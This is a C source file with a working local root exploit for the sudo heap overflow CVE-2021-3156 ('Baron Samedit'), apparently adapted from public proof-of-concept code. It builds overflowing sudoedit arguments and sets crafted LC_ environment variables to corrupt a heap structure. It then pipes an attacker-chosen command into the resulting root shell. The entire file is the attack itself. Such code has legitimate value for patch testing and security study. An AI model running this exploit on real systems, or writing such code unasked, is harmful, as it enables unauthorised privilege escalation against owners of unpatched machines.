#include <unistd.h> // execve()
#include <string.h> // strcat()
#include <stdio.h>

/* Exploit for CVE-2021-3156, drops a root shell.
 * All credit for original research: Qualys Research Team.
 * https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
 *
 * Tested on Ubuntu 20.04 against sudo 1.8.31
 * Author: Max Kamper
 */



int main(int argc, char * argv[]) {

    if(argc < 2){
	printf("Usage: %s <Command> \n",argv[0]);
	printf("[+]Refrence : @Qualys Research Team @Max Kamper \n");
	printf("[+]Modify by Rvn0xsy@ https://payloads.online\n");	
	return 0;
    }
    char * input_command = argv[1];
    int nSize = strlen(input_command)+6;
    
    char * command = malloc(nSize);
    memset(command,0x00,nSize);
    sprintf(command,"test\n\n%s\n",input_command);
    // 'buf' size determines size of overflowing chunk.
    // This will allocate an 0xf0-sized chunk before the target service_user struct.
    int i;
    char buf[0xf0] = {0};
    memset(buf, 'Y', 0xe0);
    strcat(buf, "\\");

    char* sudoedit_argv[] = {
        "sudoedit",
	    "-S",
        "-s",
        buf,
        NULL};

    // Use some LC_ vars for heap Feng-Shui.
    // This should allocate the target service_user struct in the path of the overflow.
    char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
    memset(messages + strlen(messages), 'A', 0xb8);

    char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
    memset(telephone + strlen(telephone), 'A', 0x28);

    char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
    memset(measurement + strlen(measurement), 'A', 0x28);

    // This environment variable will be copied onto the heap after the overflowing chunk.
    // Use it to bridge the gap between the overflow and the target service_user struct.
    char overflow[0x500] = {0};
    memset(overflow, 'X', 0x4cf);
    strcat(overflow, "\\");

    // Overwrite the 'files' service_user struct's name with the path of our shellcode library.
    // The backslashes write nulls which are needed to dodge a couple of crashes.
    char* envp[] = {
        overflow,
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "XXXXXXX\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "x/x\\",
        "Z",
        messages,
        telephone,
        measurement,
        NULL};

    // Invoke sudoedit with our argv & envp.

	int des_p[2];
	if(pipe(des_p) == -1){

		puts("Error .. pipe \n");
		return -1;
	}
	
	if(fork() == 0)            //first fork
        {
            close(STDOUT_FILENO);  //closing stdout
            dup(des_p[1]);         //replacing stdout with pipe write 
            close(des_p[0]);       //closing pipe read
	    write(des_p[1],command, strlen(command));
            close(des_p[1]);
	    exit(1);
        }

	if(fork()==0){
		close(STDIN_FILENO);   //closing stdin
		dup(des_p[0]);         //replacing stdin with pipe read
		close(des_p[1]);       //closing pipe write
		close(des_p[0]);
		
		execve("/usr/bin/sudoedit", sudoedit_argv, envp);
		perror("execvp of stdread failed");
		exit(1);
	}
	close(des_p[0]);
	close(des_p[1]);
	wait(0);
	wait(0);
}
